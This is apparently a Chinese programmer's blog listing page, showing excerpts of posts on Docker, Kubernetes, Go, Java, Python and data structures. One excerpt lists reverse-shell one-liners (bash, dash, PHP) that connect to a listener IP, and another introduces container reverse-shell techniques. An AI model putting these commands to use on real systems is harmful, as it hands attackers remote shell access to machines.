- 博客(95)
- 资源 (155)
- 问答 (1)
- 收藏
- 关注
原创 Ubuntu16/04安装python3.9版本
Ubuntu16.04本身携带python2.7和python3.5,这两个版本的python。而实际工作中,可能需要更高版本的python,因此需要安装更高版本。
2022-09-03 10:04:16
712
原创 A connection attempt failed because the connected party did not properly
Error:go: github.com/denisenkom/go-mssqldb@v0.11.0: Get "https://proxy.golang.org/github.com/denisenkom/go-mssqldb/@v/v0.11.0.mod": dial tcp 172.217.163.49:443: connectex: A connection attempt failed because the connected party did not properly respond
2022-05-02 10:24:21
855
原创 删除为node的docker镜像
sudo docker rmi $(sudo docker images | grep "none" | awk '{print $3}')
2020-12-18 11:30:46
214
原创 容器内反弹shell的51种姿势
什么是反弹shell?反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。为什么要反弹shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向
2020-11-19 13:15:31
666
原创 Pod报错——Back-off restarting failed container 的解决办法
已pod形式启动了一个镜像,执行kubectl get pod cmds查看pod状态发现pod一直重启。查看具体的报错信息是,发现报错内容为:Back-off restarting failed container解决办法为:要使Pod持续运行,就必须指定一个永远不会完成的任务。因此在yaml文件中指定一个启动命令,内容如下:command: ["/bin/bash", "-ce", "tail -f /dev/null"]完整版yaml文件为:apiVersion:...
2020-06-09 11:03:41
15195
1
原创 ubuntu docker容器中乱码解决办法
首先,安装中文支持包language-pack-zh-hans:sudo apt-get install language-pack-zh-hans然后,修改/etc/environment(在文件的末尾追加):LANG="zh_CN.UTF-8"LANGUAGE="zh_CN:zh:en_US:en"再修改/var/lib/locales/supported.d/local(没有这...
2020-04-08 15:10:31
258
原创 编写内核模块,读取所有进程的task_struct结构信息
内核模块代码如下,hello.c#include <linux/kernel.h>#include <linux/module.h>#include <linux/proc_fs.h>#include<linux/sched/signal.h>#include <linux/init.h>static int __init...
2020-03-05 21:08:09
747
原创 反弹shell的姿势汇总
首先在攻击者机器上监听3000端口nc -nvlp 3000bash反弹bash -i >& /dev/tcp/172.17.230.33/3000 0>&1dash反弹dash -i >& /dev/tcp/172.17.230.33/3000 0>&1PHP反弹php -r 'exec("/bin/ba...
2019-10-16 18:46:59
183
原创 PIP更换国内源
由于网络原因,pip安装的有些包会因为超时安装不上,这时候可以切换国内的pip源进行安装。pip国内的一些镜像 阿里云http://mirrors.aliyun.com/pypi/simple/ 中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban)http://pypi.douban.com/simple/...
2019-08-27 20:19:06
381
原创 pip3切换源
mkdir ~/.pipvim ~/.pip/pip.conf# 然后将下面这两行复制进去就好了[global]index-url = https://mirrors.aliyun.com/pypi/simple#--------------------------------------------------------------------国内其他pip源 清华:ht...
2019-08-24 22:55:06
107
原创 ubuntu配置spacevim+neovim
配置neovimsudo apt-get install software-properties-commonsudo apt-add-repository ppa:neovim-ppa/stablesudo apt-get updatesudo apt-get install neovim配置spacevimcurl -sLf https://spacevim.org/in...
2019-08-01 11:11:33
825
原创 golang安装gRPC
golang安装gRpc安装官方安装命令:go get google.golang.org/grpc由于网络原因,可能会安装失败,会报如下错误:packagegoogle.golang.org/grpc: unrecognized import path "google.golang.org/grpc"(https fetch: Gethttps://google.golang...
2019-08-01 10:33:33
147
原创 Java实现身份证号格式验证
package idcard;//18位公民身份证号码是特征组合,由17位数字本体码和1位数字校验码组成。//排列顺序从左至右以此为:6位数字地址码、8位数字出生日期码、3位数字顺序码和1位数字校验码。//地址码:表示编码对象常住户口所在县(市、旗、区)的行政区划代码,按GB/T 2260的规定执行。//出生日期码:表示编码对象出生的年、月、日,GB/T 7408的规定执行。年、月、日代...
2019-07-23 23:38:50
2349
原创 Java实现点分十进制IP地址转换为整数
package ipaddress;//一、将IP地址转换为整数(IPV4,点分十进制)的关键技术点如下://1、通过String的indexOf方法找出字符串IP地址中的"."的位置。//2、根据点的位置,使用String的substring方法把IP字符串分为4段。//3、使用Long的parseLong方法把子段转换成一个3位的数字。//4、使用左移位操作(<<)给每...
2019-07-22 23:53:17
678
原创 Java的位运算
package com.company;/** * Created by MXi4oyu on 2019/7/8. * * 一、Java中采用补码表示二进制数,最高位是符号位,正数的符号位是0,负数的符号位是1。补码的表示需要满足如下要求: * (1)正数的最高位是0,其余各位代表数值本身的二进制数。 * (2)负数的补码为该负数绝对值的补码按位取反,然后加1。 * * 举例:...
2019-07-14 11:24:14
83
原创 聊一聊云计算的三种服务模式(IaaS/PaaS/SaaS)
定义云计算主要分为三种服务模式,而且这个三层的分法主要是从用户体验的角度出发的。云计算服务是分层的,分别为:第一层(底层)为Iaas,第二层(中间件)为Paas,第三层(顶层)为Saas。IaaS:Infrastructure as a Service,基础设施即服务,这层的作用是提供虚拟机或者其他资源作为服务提供给用户。PaaS:Platform as a Service,平...
2019-07-11 19:59:46
706
原创 java工厂模式的三种实现方式
工厂模式简介今天给大家介绍另外一种设计模式——工厂模式。工厂模式主要用于创建产品(对象),用户只使用产品提供的功能,至于产品功能是如何实现的、产品本身是怎么创建的,用户并不关心。关键技术点实现工厂模式的关键技术点如下:用一个接口抽象产品的功能,所有具体的产品类都实现该接口。工厂类定义一个创建产品的方法,参数为产品的具体类型,返回一个产品接口对象。用户通过产品接口使用产品功能。...
2019-07-08 18:00:20
256
原创 Java单例模式的5种实现方法
一、什么是单例模式单例模式常用于创建一个全局共享的类实例,即在整个应用程序中只存在一个类实例二、单例模式的优点和适用场景优点: 在内存中只有一个对象,节省内存空间 避免频繁的创建销毁对象,可以提高性能 避免对共享资源的多重占用 可以全局访问 适用场景: 需要频繁实例化然后销毁的对象。 创建对象时耗时过多或者消耗资源过多,但又经常...
2019-07-07 12:09:35
148
原创 删除数据库中id重复的记录
一条SQL删除数据库中id重复的记录oracle数据库执行delete from table_name where table_name.rowid not in(select max(rowid) from table_name group by id);postgresql数据库执行delete from table_name where vulnerability....
2019-05-31 15:01:25
454
原创 Centos7升级gccmv /usr/bin/gcc /usr/bin/gcc4.8.5
我当前使用的操作系统版本为:CentOS Linux release 7.6.1810 (Core)我当前使用的GCC版本为:4.8.5 20150623 (Red Hat 4.8.5-36) (GCC)我最近在编译一个项目需要GCC支持C++14的语法,为了一步到位,把C++17也支持了,我直接安装了GCC最新版本。一、安装开发必备环境:yum groupinstall...
2019-03-11 12:58:17
486
转载 python2和python3 urllib库区别
Python 2 name Python 3 name urllib.urlretrieve() urllib.request.urlretrieve() urllib.urlcleanup() urllib.request.urlcleanup() urllib.quote() urllib.parse.quote() urllib.quote_plus...
2018-09-15 13:38:15
187
原创 C++重读笔记
一、寄存器变量:1、寄存器类变量的数据长度与通用寄存器的长度相当。一般只能用char型和int型变量。2、要选择一些使用频度高的变量定义为寄存器变量,这样可以提高运行效率。#include "stdafx.h"#include <iostream>using namespace std;int _tmain(int argc, _TCHAR* argv[]){ int ...
2018-07-07 18:47:16
236
原创 Go语言搜索某个大文件中是否包含特定字符串
package mainimport ( "time" "os" "bufio" "strconv" "log" "bytes")var totalSize float64func trace(msg string) func(){ start := time.Now() log.Printf("%s&
2018-06-08 19:02:06
3579
原创 《人性的弱点》读书笔记
第一章:成功有效的人际交往第一节:友善而热情地对待他人太阳的温暖使人们脱去厚重的外衣,风的冷酷却使人裹衣取暖。同样,友善、亲切、真诚的态度,会使人抛弃成见。“一滴蜜汁远比一加仑的胆汁更能吸引蜜蜂”。当你要别人认同你的观点时,记住一定要先诚恳友善地对待他人。第二节:不因小事与别人争论不休当人们逆着自己的意见,被别人说服时,他仍会坚持自己是正确的。“如果总是反对、争辩,你也许会...
2018-06-05 08:43:19
785
原创 golang 使用docker api 拉取docker registry中的镜像
package mainimport ( "github.com/docker/docker/api/types" "golang.org/x/net/context" "github.com/docker/docker/client" "encoding/base64" "encoding/json" "io" "os" "fmt&quo
2018-05-24 17:31:59
2433
原创 简单文件加密
// SimpleFileEncryption.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"/*加密思路:fgetc()函数可以每次从文件中读取一个字符,fputc()函数每次可以向文件中写入一个字符。利用该特性,首先打开要加密的文件,同时创建一个临时文件。每次从要加密的文件中读取一个字符,对其进行运算(此处为取反)后再写入到文件。由于此处使用...
2018-05-24 01:00:56
492
原创 Win Socket基础
// netServer.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include <WinSock2.h>#include <WS2tcpip.h>#pragma comment(lib,"ws2_32")int main(){ //第一步:WinSock初始化 WORD wVersion = MAKEWORD...
2018-05-23 13:08:37
180
原创 postgresql安装
wget https://oscg-downloads.s3.amazonaws.com/packages/postgresql-9.5.13-1-x64-bigsql.debdpkg -i postgresql-9.5.13-1-x64-bigsql.deb ====================================== Binaries installed at: /opt...
2018-05-20 12:28:16
318
原创 docker-bench-security汉化版本
https://github.com/MXi4oyu/docker-bench-security戳我查看
2018-05-11 15:07:27
593
转载 gossh
package mainimport ( "flag" "io" "log" "net" "os" "os/exec" "golang.org/x/crypto/ssh/terminal" "github.com/kr/pty")var ( addr = flag.String("addr",
2018-05-11 12:16:47
1557
转载 go语言链接爬虫
package mainimport ( "github.com/PuerkitoBio/goquery" //解析html "os" "container/list" "github.com/gogather/com/log" "fmt" "strings" "net/url" "net/http" "errors
2018-05-11 10:59:33
213
原创 Java常见排序算法
首先定义一个排序接口。ISortNumber.javapackage demo.secapi.net;/** * Created by MXi4oyu on 2018/5/6. */public interface ISortNumber { /** * * 对整型数组按升序排序 * */ public int[] sortAS...
2018-05-08 21:44:07
112
原创 二叉树排序
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午10:34# @Author : MXi4oyu# @Site : # @File : PyBtreeSort.py# @Software: PyCharmclass PyBtree: def __init__(self,v...
2018-05-05 11:03:35
497
原创 二叉树遍历
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午10:37# @Author : MXi4oyu# @Site : # @File : PyBtreeOrder.py# @Software: PyCharmclass PyBtree: def __init__(self,...
2018-05-05 10:53:07
206
原创 二分法查找
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/5 上午8:35# @Author : MXi4oyu# @Site : # @File : PyBinarySearch.py# @Software: PyCharm#二分查找,首先对要查找的数据进行排序def BubbleSort(bl...
2018-05-05 09:03:17
192
原创 二叉树
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2018/5/4 下午10:14# @Author : MXi4oyu# @Site : # @File : PyBtree.py# @Software: PyCharmclass PyBtree: def __init__(self,value)...
2018-05-04 22:26:33
169
原创 队列
# -*- coding: utf-8 -*-"""------------------------------------------------- File Name: PyQueue Description : Author : MXi4oyu date: 2018/5/4 0004---------------------...
2018-05-04 18:52:15
172
原创 堆栈
# -*- coding: utf-8 -*-"""------------------------------------------------- File Name: PyStack Description : Author : MXi4oyu date: 2018/5/4 0004---------------------...
2018-05-04 11:59:52
212
原创 顺序表——数组:通过连续的存储单元来实现存储的数据集合
#include "stdafx.h"#include <malloc.h>#include <stdlib.h>struct Array{ int * pBase; //存储的是数组第一个元素的地址 int len; //数组所能容纳的元素的最大个数 int cnt; //当前数组有效元素的个数 //int increment; //自动增长因子};...
2018-05-03 17:26:17
340
批量搜索利器V1.6
2013-07-04
利用社会工程学骗取VIP教程的Key的冷思考
2013-01-03
TA创建的收藏夹 TA关注的收藏夹
TA关注的人